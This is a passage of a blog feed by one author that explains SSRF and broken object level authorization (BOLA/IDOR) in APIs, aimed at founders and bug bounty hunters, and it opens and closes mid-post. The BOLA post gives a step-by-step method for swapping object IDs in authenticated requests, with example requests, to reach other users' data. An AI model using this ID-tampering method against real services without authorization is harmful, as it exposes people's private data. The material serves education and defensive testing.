&lt;li&gt;Cloud account takeover&lt;/li&gt;
&lt;li&gt;Massive financial impact&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Common Features Where This Happens
&lt;/h2&gt;

&lt;p&gt;If your app has &lt;strong&gt;any&lt;/strong&gt; of these, pay attention:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Upload image using URL&lt;/li&gt;
&lt;li&gt;Import PDF or document from link&lt;/li&gt;
&lt;li&gt;Generate PDF from a webpage&lt;/li&gt;
&lt;li&gt;Fetch logo during onboarding&lt;/li&gt;
&lt;li&gt;Webhooks or callbacks&lt;/li&gt;
&lt;li&gt;Any feature where your server “fetches” something&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Why Developers Miss This
&lt;/h2&gt;

&lt;p&gt;Because the feature looks safe.&lt;/p&gt;

&lt;p&gt;Developers often think:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“We only download images or PDFs. What could go wrong?”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The issue is &lt;strong&gt;not the file&lt;/strong&gt;.&lt;br&gt;
The issue is &lt;strong&gt;who your server is trusting&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Simple Advice for Founders &amp;amp; Product Owners
&lt;/h2&gt;

&lt;p&gt;You don’t need to code to reduce this risk.&lt;/p&gt;

&lt;p&gt;Just ask your team these questions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Do we allow users to upload files using links?&lt;/li&gt;
&lt;li&gt;Does our server download those links?&lt;/li&gt;
&lt;li&gt;Are we blocking internal and private addresses?&lt;/li&gt;
&lt;li&gt;Are we validating where the server is allowed to connect?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the answers are unclear — that’s already a warning sign.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Matters for Startups
&lt;/h2&gt;

&lt;p&gt;Startups move fast.&lt;br&gt;
Security checks often come later.&lt;br&gt;
Attackers know this.&lt;/p&gt;

&lt;p&gt;SSRF vulnerabilities are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Easy to miss&lt;/li&gt;
&lt;li&gt;Easy to exploit&lt;/li&gt;
&lt;li&gt;Very high impact&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Many bug bounty reports and real incidents start exactly like this.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thought
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;If your server blindly trusts user-provided links,&lt;br&gt;
someone else might control where your server goes.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A small feature can become a big problem.&lt;/p&gt;




&lt;h1&gt;
  
  
  security #startup #websecurity #api #saas #founders #productmanagement #cybersecurity #devops
&lt;/h1&gt;

</description>
      <category>api</category>
      <category>serverissues</category>
      <category>ssrf</category>
      <category>apissrf</category>
    </item>
    <item>
      <title>A Silent Website Killer: SSRF Bugs in APIs</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Tue, 03 Feb 2026 16:55:14 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/a-silent-website-killer-ssrf-bugs-in-apis-3g7e</link>
      <guid>https://dev.to/abhinavsingwal/a-silent-website-killer-ssrf-bugs-in-apis-3g7e</guid>
      <description>&lt;p&gt;If your website or mobile app uses &lt;strong&gt;APIs that fetch images, files, or URLs&lt;/strong&gt;, there’s a hidden risk you should know about.&lt;/p&gt;

&lt;p&gt;It’s called &lt;strong&gt;SSRF (Server-Side Request Forgery)&lt;/strong&gt; — and it has caused &lt;strong&gt;real data breaches, cloud takeovers, and financial losses&lt;/strong&gt; for companies that thought their systems were “secure enough”.&lt;/p&gt;

&lt;p&gt;This post explains &lt;strong&gt;what SSRF is&lt;/strong&gt;, &lt;strong&gt;why website owners should care&lt;/strong&gt;, and &lt;strong&gt;how attackers actually abuse it&lt;/strong&gt; — without technical jargon.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Is SSRF (In Simple Words)?
&lt;/h2&gt;

&lt;p&gt;SSRF happens when:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Your website allows users to submit a &lt;strong&gt;URL&lt;/strong&gt;,&lt;br&gt;
and your &lt;strong&gt;server automatically opens that URL&lt;/strong&gt; without strict checks.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In simple terms:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your server starts &lt;strong&gt;trusting user-provided links&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Attackers trick your server into visiting &lt;strong&gt;internal or private systems&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Your server becomes the attacker’s tool.&lt;/p&gt;




&lt;h2&gt;
  
  
  Common Features That Can Cause SSRF
&lt;/h2&gt;

&lt;p&gt;Many normal features are risky if not secured properly:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Upload profile picture using a URL&lt;/li&gt;
&lt;li&gt;Import image from another website&lt;/li&gt;
&lt;li&gt;Fetch PDF or invoice from a link&lt;/li&gt;
&lt;li&gt;Generate previews from a URL&lt;/li&gt;
&lt;li&gt;Webhooks and callback URLs&lt;/li&gt;
&lt;li&gt;“Import from cloud” features&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If your API accepts fields like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;url&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;image_url&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;file_url&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;callback_url&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;👉 &lt;strong&gt;SSRF risk exists&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Real-World Example (Non-Technical)
&lt;/h2&gt;

&lt;p&gt;Imagine this feature on your website:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Paste an image link and we’ll set it as your profile picture.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;What really happens behind the scenes:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;User sends an image link&lt;/li&gt;
&lt;li&gt;Your server opens that link&lt;/li&gt;
&lt;li&gt;Your server downloads the image&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Now imagine an attacker submits &lt;strong&gt;not an image&lt;/strong&gt;, but a &lt;strong&gt;private internal link&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Your server doesn’t know the difference — it trusts the input.&lt;/p&gt;

&lt;p&gt;That’s SSRF.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Is Dangerous (Business Impact)
&lt;/h2&gt;

&lt;p&gt;Through SSRF, attackers can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Access &lt;strong&gt;internal dashboards&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Steal &lt;strong&gt;cloud credentials&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Read &lt;strong&gt;private databases&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Scan your internal network&lt;/li&gt;
&lt;li&gt;Bypass authentication&lt;/li&gt;
&lt;li&gt;Fully compromise cloud infrastructure&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is why SSRF bugs often lead to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;🔴 Critical security reports&lt;/li&gt;
&lt;li&gt;💸 High bug bounty payouts&lt;/li&gt;
&lt;li&gt;📰 Public breach disclosures&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The Cloud Metadata Disaster (Very Important)
&lt;/h2&gt;

&lt;p&gt;Most modern websites use cloud providers like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AWS&lt;/li&gt;
&lt;li&gt;Google Cloud&lt;/li&gt;
&lt;li&gt;Azure&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These platforms expose &lt;strong&gt;internal metadata services&lt;/strong&gt; that should &lt;strong&gt;never be public&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Attackers use SSRF to access:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cloud secrets&lt;/li&gt;
&lt;li&gt;API keys&lt;/li&gt;
&lt;li&gt;Admin permissions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you want a technical reference (optional but useful), read:&lt;br&gt;
👉 &lt;a href="https://owasp.org/www-community/attacks/Server_Side_Request_Forgery" rel="noopener noreferrer"&gt;https://owasp.org/www-community/attacks/Server_Side_Request_Forgery&lt;/a&gt;&lt;br&gt;
👉 &lt;a href="https://portswigger.net/web-security/ssrf" rel="noopener noreferrer"&gt;https://portswigger.net/web-security/ssrf&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Even if you’re not technical, this shows &lt;strong&gt;how serious and well-known this issue is&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why SSRF Is Hard to Detect
&lt;/h2&gt;

&lt;p&gt;SSRF often:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Leaves no visible logs&lt;/li&gt;
&lt;li&gt;Doesn’t break the website&lt;/li&gt;
&lt;li&gt;Looks like “normal traffic”&lt;/li&gt;
&lt;li&gt;Happens silently in the background&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That’s why many companies discover it &lt;strong&gt;after attackers already accessed internal systems&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why APIs Are the Biggest Risk
&lt;/h2&gt;

&lt;p&gt;APIs are designed to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Talk to other services&lt;/li&gt;
&lt;li&gt;Fetch data automatically&lt;/li&gt;
&lt;li&gt;Trust machine-to-machine communication&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This trust is exactly what attackers abuse.&lt;/p&gt;

&lt;p&gt;If you expose APIs publicly (mobile apps, SaaS dashboards, partner integrations), your risk increases.&lt;/p&gt;

&lt;p&gt;For deeper understanding (optional reading):&lt;br&gt;
👉 &lt;a href="https://owasp.org/API-Security/" rel="noopener noreferrer"&gt;https://owasp.org/API-Security/&lt;/a&gt;&lt;br&gt;
👉 &lt;a href="https://portswigger.net/blog/exploiting-ssrf-in-the-cloud" rel="noopener noreferrer"&gt;https://portswigger.net/blog/exploiting-ssrf-in-the-cloud&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What Website Owners Should Ask Their Developers
&lt;/h2&gt;

&lt;p&gt;You don’t need to code — just ask these questions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Do we allow users to submit URLs anywhere?&lt;/li&gt;
&lt;li&gt;Does our backend fetch those URLs automatically?&lt;/li&gt;
&lt;li&gt;Are internal IPs blocked?&lt;/li&gt;
&lt;li&gt;Are cloud metadata URLs blocked?&lt;/li&gt;
&lt;li&gt;Are webhooks verified and restricted?&lt;/li&gt;
&lt;li&gt;Are old or test APIs still running?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the answer is “not sure” — that’s a red flag 🚩&lt;/p&gt;




&lt;h2&gt;
  
  
  How SSRF Should Be Prevented (High Level)
&lt;/h2&gt;

&lt;p&gt;A secure system should:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Allow only &lt;strong&gt;approved domains&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Block internal IP ranges&lt;/li&gt;
&lt;li&gt;Block cloud metadata addresses&lt;/li&gt;
&lt;li&gt;Validate file types properly&lt;/li&gt;
&lt;li&gt;Log and monitor outbound requests&lt;/li&gt;
&lt;li&gt;Restrict webhook destinations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These are &lt;strong&gt;standard security practices&lt;/strong&gt;, not advanced hacking defenses.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Matters for Startups &amp;amp; Businesses
&lt;/h2&gt;

&lt;p&gt;SSRF is not a “hacker-only” issue.&lt;/p&gt;

&lt;p&gt;It affects:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SaaS products&lt;/li&gt;
&lt;li&gt;E-commerce platforms&lt;/li&gt;
&lt;li&gt;Fintech apps&lt;/li&gt;
&lt;li&gt;Mobile apps&lt;/li&gt;
&lt;li&gt;Any API-based system&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One overlooked URL parameter can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Destroy customer trust&lt;/li&gt;
&lt;li&gt;Trigger compliance issues&lt;/li&gt;
&lt;li&gt;Cause financial loss&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Final Thought
&lt;/h2&gt;

&lt;p&gt;If your website or app uses APIs that &lt;strong&gt;fetch URLs&lt;/strong&gt;, you should assume SSRF risk exists until proven otherwise.&lt;/p&gt;

&lt;p&gt;The good news?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SSRF is &lt;strong&gt;preventable&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Early detection is &lt;strong&gt;cheap&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Late discovery is &lt;strong&gt;very expensive&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h1&gt;
  
  
  websecurity #apisecurity #saas #startups #cloudsecurity #cybersecurity #webdevelopment #businessowners #infosec
&lt;/h1&gt;

</description>
      <category>ssrf</category>
      <category>api</category>
      <category>apivulnerability</category>
    </item>
    <item>
      <title>Why BOLA Is #1 in OWASP API Top 10</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Tue, 03 Feb 2026 14:59:51 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/why-bola-is-1-in-owasp-api-top-10-3dc</link>
      <guid>https://dev.to/abhinavsingwal/why-bola-is-1-in-owasp-api-top-10-3dc</guid>
      <description>&lt;p&gt;When I started API bug hunting, I thought the “real” bugs were things like auth bypass, token forgery, or crypto issues.&lt;/p&gt;

&lt;p&gt;Turns out… most high-impact API bugs are much simpler.&lt;/p&gt;

&lt;p&gt;They come down to one question:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;“Should this user be able to see THIS data?”&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That’s exactly why &lt;strong&gt;Broken Object Level Authorization (BOLA)&lt;/strong&gt; sits at &lt;strong&gt;#1 in the OWASP API Top 10&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Not because it’s fancy — but because it works.&lt;/p&gt;




&lt;h2&gt;
  
  
  What BOLA actually means (without OWASP language)
&lt;/h2&gt;

&lt;p&gt;In simple terms, BOLA happens when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You are authenticated (logged in)&lt;/li&gt;
&lt;li&gt;You request an object (user, invoice, report, order, etc.)&lt;/li&gt;
&lt;li&gt;The API does &lt;strong&gt;not check ownership&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;You get data that belongs to someone else&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /api/invoices/73921
Authorization: Bearer &amp;lt;your_token&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now change the ID:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /api/invoices/73922
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you see another user’s invoice — that’s BOLA.&lt;/p&gt;

&lt;p&gt;No hacking.&lt;br&gt;
No bypassing login.&lt;br&gt;
Just bad authorization.&lt;/p&gt;


&lt;h2&gt;
  
  
  Why APIs are especially vulnerable
&lt;/h2&gt;

&lt;p&gt;APIs are built to &lt;strong&gt;move data&lt;/strong&gt;, not protect screens.&lt;/p&gt;

&lt;p&gt;Developers often assume:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;“Frontend already restricts this”&lt;/li&gt;
&lt;li&gt;“User ID comes from JWT, so it’s safe”&lt;/li&gt;
&lt;li&gt;“UUIDs can’t be guessed, so we’re fine”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But APIs don’t care about UI assumptions.&lt;/p&gt;

&lt;p&gt;If the backend doesn’t explicitly verify:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Does this object belong to this user or org?&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then the API will happily return data it shouldn’t.&lt;/p&gt;


&lt;h2&gt;
  
  
  Real-world BOLA examples (things you’ll actually find)
&lt;/h2&gt;
&lt;h3&gt;
  
  
  1. Viewing another user’s profile
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /api/users/124
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Response includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Email&lt;/li&gt;
&lt;li&gt;Phone number&lt;/li&gt;
&lt;li&gt;KYC status&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You’re user &lt;code&gt;123&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That’s &lt;strong&gt;horizontal BOLA&lt;/strong&gt; → PII exposure.&lt;/p&gt;


&lt;h3&gt;
  
  
  2. Organization-level data leaks (high impact)
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /api/orgs/982/reports
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Change &lt;code&gt;982&lt;/code&gt; to another org ID.&lt;/p&gt;

&lt;p&gt;Now you can see:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Revenue reports&lt;/li&gt;
&lt;li&gt;Internal metrics&lt;/li&gt;
&lt;li&gt;Employee details&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is where &lt;strong&gt;big bounties&lt;/strong&gt; live.&lt;/p&gt;


&lt;h3&gt;
  
  
  3. UUIDs don’t save you
&lt;/h3&gt;

&lt;p&gt;A lot of APIs use UUIDs and think they’re safe:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /api/files/8f2a9b2e-cc45-4c99-a61a
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But then they expose another endpoint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /api/files?user_id=124
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Authorization is still missing.&lt;/p&gt;

&lt;p&gt;UUIDs hide enumeration — &lt;strong&gt;they don’t enforce access control&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why BOLA is #1 (and not XSS, SQLi, etc.)
&lt;/h2&gt;

&lt;p&gt;Because BOLA:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Works even with perfect authentication&lt;/li&gt;
&lt;li&gt;Exposes real user and business data&lt;/li&gt;
&lt;li&gt;Exists in almost every API-based product&lt;/li&gt;
&lt;li&gt;Is easy to miss during development&lt;/li&gt;
&lt;li&gt;Is easy to test as a bug hunter&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Low effort, high impact.&lt;/p&gt;

&lt;p&gt;That’s why OWASP ranks it #1:&lt;br&gt;
👉 &lt;a href="https://owasp.org/API-Security/editions/2023/en/0x11-t10/" rel="noopener noreferrer"&gt;https://owasp.org/API-Security/editions/2023/en/0x11-t10/&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  How I personally look for BOLA bugs
&lt;/h2&gt;

&lt;p&gt;This is my simple flow:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Capture &lt;strong&gt;any authenticated request&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Look for object identifiers:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;user_id&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;id&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;org_id&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;account_id&lt;/code&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Change only the ID&lt;/li&gt;
&lt;li&gt;Compare responses &lt;strong&gt;field by field&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Test the same object via:&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;List endpoint&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Detail endpoint&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Export / report endpoint&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One of them usually forgets authorization.&lt;/p&gt;


&lt;h2&gt;
  
  
  Mobile APIs deserve special attention 📱
&lt;/h2&gt;

&lt;p&gt;Mobile APIs often return &lt;strong&gt;more data&lt;/strong&gt; than web apps:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user@gmail.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"is_admin"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"risk_score"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"internal_notes"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"flagged"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The UI hides these fields.&lt;br&gt;
The API doesn’t.&lt;/p&gt;

&lt;p&gt;This often leads to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Excessive data exposure&lt;/li&gt;
&lt;li&gt;Combined with BOLA&lt;/li&gt;
&lt;li&gt;Which makes the bug even stronger&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  How to write a strong BOLA report
&lt;/h2&gt;

&lt;p&gt;❌ Weak report:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“IDOR vulnerability found.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;✅ Strong report:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“An authenticated user can access invoices belonging to other users by modifying the invoice ID, exposing full billing details including name, address, and transaction history.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Always connect:&lt;br&gt;
&lt;strong&gt;Bug → Data → Business impact&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Final takeaway for bug hunters
&lt;/h2&gt;

&lt;p&gt;If you are learning API pentesting or bug bounty:&lt;/p&gt;

&lt;p&gt;👉 Start with BOLA&lt;br&gt;
👉 Test READ access before WRITE&lt;br&gt;
👉 Never trust IDs, UUIDs, or frontend logic&lt;/p&gt;

&lt;p&gt;Most real-world API breaches start here.&lt;/p&gt;




&lt;h3&gt;
  
  
  Useful references &amp;amp; real reports
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;OWASP API Top 10 – BOLA&lt;br&gt;
&lt;a href="https://owasp.org/API-Security/editions/2023/en/0x11-t10/" rel="noopener noreferrer"&gt;https://owasp.org/API-Security/editions/2023/en/0x11-t10/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;HackerOne: IDOR &amp;amp; BOLA reports&lt;br&gt;
&lt;a href="https://hackerone.com/hacktivity?query=idor" rel="noopener noreferrer"&gt;https://hackerone.com/hacktivity?query=idor&lt;/a&gt;&lt;br&gt;
&lt;a href="https://hackerone.com/hacktivity?query=broken%20object%20level%20authorization" rel="noopener noreferrer"&gt;https://hackerone.com/hacktivity?query=broken%20object%20level%20authorization&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;h1&gt;
  
  
  APIsecurity #BugBounty #OWASP #BOLA #IDOR #WebSecurity #Infosec #Pentesting #APIPentesting
&lt;/h1&gt;

</description>
      <category>bugbounty</category>
      <category>cybersecurity</category>
      <category>bola</category>
      <category>owasp</category>
    </item>
    <item>
      <title>Authentication vs Object Authorization: The API Security Mistake Everyone Makes</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Mon, 02 Feb 2026 16:07:55 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/authentication-vs-object-authorization-the-api-security-mistake-everyone-makes-4aa4</link>
      <guid>https://dev.to/abhinavsingwal/authentication-vs-object-authorization-the-api-security-mistake-everyone-makes-4aa4</guid>
      <description>&lt;p&gt;If you’ve ever thought&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“The user is logged in, so this API call must be safe”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;…you’ve already stepped into the &lt;strong&gt;most common API vulnerability&lt;/strong&gt; on the internet.&lt;/p&gt;

&lt;p&gt;This post explains the &lt;strong&gt;difference between authentication and object authorization&lt;/strong&gt;, why developers confuse them, and how this confusion leads to &lt;strong&gt;Broken Object Level Authorization (BOLA / IDOR)&lt;/strong&gt; — the &lt;strong&gt;#1 issue&lt;/strong&gt; in modern APIs.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Is Authentication?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Authentication answers only one question:&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Who are you?&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In APIs, authentication usually happens using:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;JWT tokens&lt;/strong&gt; (&lt;a href="https://datatracker.ietf.org/doc/html/rfc7519" rel="noopener noreferrer"&gt;RFC 7519&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OAuth 2.0 access tokens&lt;/strong&gt; (&lt;a href="https://datatracker.ietf.org/doc/html/rfc6749" rel="noopener noreferrer"&gt;RFC 6749&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;API keys&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Session cookies&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When authentication succeeds, the backend says:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Okay, I know who you are.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That’s it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /api/v1/profile
Authorization: Bearer eyJhbGciOi...
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;✅ Token is valid&lt;br&gt;
❌ No decision yet about &lt;strong&gt;which data&lt;/strong&gt; you can access&lt;/p&gt;


&lt;h2&gt;
  
  
  What Is Object Authorization?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Object authorization answers a completely different question:&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Are YOU allowed to access THIS specific object?&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is where most APIs fail.&lt;/p&gt;

&lt;p&gt;Object authorization must verify:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Object &lt;strong&gt;ownership&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;User &lt;strong&gt;role&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Organization / tenant &lt;strong&gt;scope&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Object &lt;strong&gt;state&lt;/strong&gt; (draft, deleted, archived, paid)&lt;/li&gt;
&lt;/ul&gt;

